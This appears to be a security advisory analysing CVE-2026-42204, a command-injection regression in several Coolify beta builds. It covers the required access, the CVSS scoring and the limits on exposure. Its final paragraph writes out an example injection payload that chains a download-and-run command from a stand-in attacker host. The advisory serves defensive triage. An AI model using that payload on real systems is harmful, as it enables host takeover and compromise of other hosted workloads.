Coolify CVE-2026-42204

Exploitation requires an authenticated Coolify account that is a member of a team/project with permission to edit the custom Docker Compose build, start, or pre/post-deployment command fields, and the target instance must be running an affected build (4.0.0-beta.471-4.0.0-beta.473) where the regressed SHELL_SAFE_COMMAND_PATTERN accepts ampersands. The injection is delivered specifically through those command-input fields and executes when a deployment using them is triggered. Limiting factors: valid authentication and team-level edit access are mandatory (PR:L, so not unauthenticated), only the three affected beta versions are vulnerable, and instances upgraded to 4.0.0-beta.474 are not exploitable.

The provided CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, base 8.8) indicates network-reachable, low-complexity exploitation requiring only low privileges (an authenticated team member) with no user interaction and full CIA impact - consistent with host-level command execution. Because Coolify manages the host and other tenants' workloads, host command execution is high-consequence despite the unchanged scope (S:U) rating. Mitigating real-world risk: exploitation requires a valid authenticated account with access to a project/team that can edit deployment command fields, which limits opportunistic mass exploitation and points toward insider or compromised-credential abuse rather than fully unauthenticated attacks. No EPSS score, KEV listing, POC, or SSVC decision data was provided, so exploitation-likelihood signals beyond the CVSS vector are unavailable - the priority rests on the high technical impact and the low privilege bar, not on evidence of active exploitation. The narrow affected window (three beta builds) also constrains the exposed population.

An authenticated user with team access to a Coolify project edits a custom Docker Compose build or pre/post-deployment command field, appending an ampersand-chained payload such as & curl attacker/x | sh that the regressed allowlist now permits. On the next deployment the injected command runs on the managed host with Coolify's execution privileges, giving the attacker code execution and a foothold over other hosted workloads. Given AV:N/AC:L, this requires only UI/API access and no special timing; no public exploit was provided at time of analysis.